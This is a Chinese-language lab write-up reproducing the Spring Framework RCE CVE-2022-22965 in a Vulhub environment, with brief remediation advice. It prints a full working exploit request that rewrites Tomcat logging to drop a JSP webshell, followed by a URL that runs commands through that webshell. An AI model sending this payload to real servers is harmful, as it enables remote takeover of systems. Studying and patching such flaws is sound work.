CVE-2022-22965:Spring Framework远程代码执行漏洞
本文仅为验证漏洞,在本地环境测试验证,无其它目的
漏洞编号:
CVE-2022-22965
漏洞说明:
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
漏洞影响范围:
- Spring Framework < 5.3.18
- Spring Framework < 5.2.20
漏洞级别:
高危
漏洞复现:
-
进入靶场环境:【Vulhub}-【Spring】-【CVE-2022-22965】,使用以下命令启动环境
docker-compose up -d
-
根据VULHUB靶场提示操作,访问靶场服务器IP+端口:
bash http://192.168.32.132:8080/?name=Bob&age=25
-
此处要注意,因为靶场会占用8080端口,所以当BP和靶场在统一环境下时,注意修改BP的8080端口为其他,并在浏览器中进行更新才能访问靶场环境:
-
发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.32.132:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1
-
然后,访问刚才的 JSP webshell,并执行任意命令:
bash http://192.168.32.132:8080/tomcatwar.jsp?pwd=j&cmd=id
漏洞自查:
-
临时解决方案
-
在使用Spring框架的服务器中,命令行下执行“java –version”,查看当前JDK版本,如果JDK版本在8及以下,则不受此漏洞影响
漏洞修复:
-
临时解决方案
-
WAF等安全组件防护
-
官方修复